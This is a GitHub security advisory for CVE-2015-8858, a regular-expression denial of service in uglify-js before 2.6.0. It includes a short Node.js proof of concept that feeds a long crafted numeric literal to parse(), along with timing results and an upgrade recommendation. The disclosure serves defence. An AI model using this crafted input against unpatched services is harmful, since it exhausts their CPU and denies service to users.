GitHub Advisoryadvisory · npm
GHSA-c9f4-xj24-8jqx Regular Expression Denial of Service in uglify-js
HIGH
Official page ↗
- Aliases
- CVE-2015-8858
- Ecosystem
- npm
- Packages
- uglify-js
- Severity
- High
- CVSS vector
- CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Weaknesses
- CWE-1333
- Reviewed
- 2020-06-16
Affected packages
• npm uglify-js: < 2.6.0 → fixed in 2.6.0
Description
Versions of `uglify-js` prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the `parse()` method.
Proof of Concept
```
var u = require('uglify-js');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");
```
Results
```
$ time node test.js 10000
real 0m1.091s
user 0m1.047s
sys 0m0.039s
$ time node test.js 80000
real 0m6.486s
user 0m6.229s
sys 0m0.094s
```
Recommendation
Update to version 2.6.0 or later.
Related
Alias · CVE (1)
- CVE-2015-8858 The uglify-js package before 2.6.0 for Node.js allows attackers to cause a denial of service (CPU consumption) via crafted input in a parse… vulnerability
Weakness · CWE (1)
- CWE-1333 Inefficient Regular Expression Complexity weakness